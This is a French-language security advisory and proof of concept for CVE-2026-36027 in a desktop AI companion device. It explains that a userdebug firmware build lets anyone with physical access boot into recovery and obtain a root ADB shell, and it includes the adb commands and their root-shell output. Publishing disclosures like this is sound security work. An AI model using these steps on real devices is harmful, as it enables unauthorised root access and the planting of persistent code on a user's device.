
Preuve de concept pour CVE-2026-36027 et CVE-2026-36028
Le Code 27 3D Companion Hub est un périphérique physique de bureau qui affiche un personnage IA personnalisé (un « Codie ») sous forme de compagnon 3D animé. Les utilisateurs peuvent télécharger ou créer n'importe quel modèle 3D, et l'IA multimodale permet au personnage de voir son environnement, de lire le ton et le langage corporel, et de mener des conversations ouvertes.
Ce rapport couvre deux vulnérabilités qui nécessitent un accès physique à l'appareil. Toutes deux ont été validées sur la version ci-dessous et, au moment de la publication, ne sont pas corrigées.
| Champ | Valeur |
|---|---|
| Produit | Code 27 3D Companion Hub |
| Version de l'interface Companion Hub | 1.2.0 |
| SoC / carte | Rockchip RK3588S (rk3588s_yt921) |
| OS | Android 12 |
| ID de version | SQ3A.220705.003.A1 |
| Empreinte complète | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Type de version | userdebug / release-keys |
Le firmware livré est une version userdebug (visible dans la bannière de recovery et dans ro.build.display.id). Les versions userdebug permettent de redémarrer adbd en tant que root via adb root, ce qui est un facteur clé pour l'existence de CVE-2026-36027.
Un attaquant physiquement proche peut démarrer le Companion Hub en recovery Android et obtenir un shell ADB avec privilèges root (uid=0, contexte SELinux u:r:su:s0). Parce que l'appareil est livré avec une version userdebug, adbd peut être redémarré en tant que root avec adb root, donnant à l'attaquant une interaction en lecture/écriture avec l'environnement de recovery, la possibilité d'énumérer les propriétés du build et du matériel, ainsi que l'accès aux fonctions de recovery (sideload, fastboot, opérations sur les partitions).
L'accès obtenu se trouve dans le ramdisk de recovery, pas dans l'environnement Android en cours d'exécution. Lors des tests, l'action de recovery « Mount /system » a échoué (libfs_mgr n'a pas pu ouvrir /dev/block/by-name/system), donc la partition système n'a pas été montée directement via ce chemin, et l'environnement utilisateur démarré, avec le kiosque et les données utilisateur déchiffrées, n'est pas présenté dans ce mode.
Cela a quand même de l'importance car l'accès root à l'environnement de recovery est le fondement pour modifier l'état persistant de l'appareil (par exemple, écrire sur des partitions ou appliquer un package de mise à jour modifié) de sorte que du code contrôlé par l'attaquant puisse s'exécuter lors d'un démarrage normal ultérieur, établissant ainsi un point d'appui sur l'appareil en fonctionnement.
Mount /system, mettez-le en surbrillance et confirmez. Il semblera échouer. C'est normal et l'exploit fonctionne toujours. (Le journal de recovery indique que libfs_mgr n'a pas pu ouvrir /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12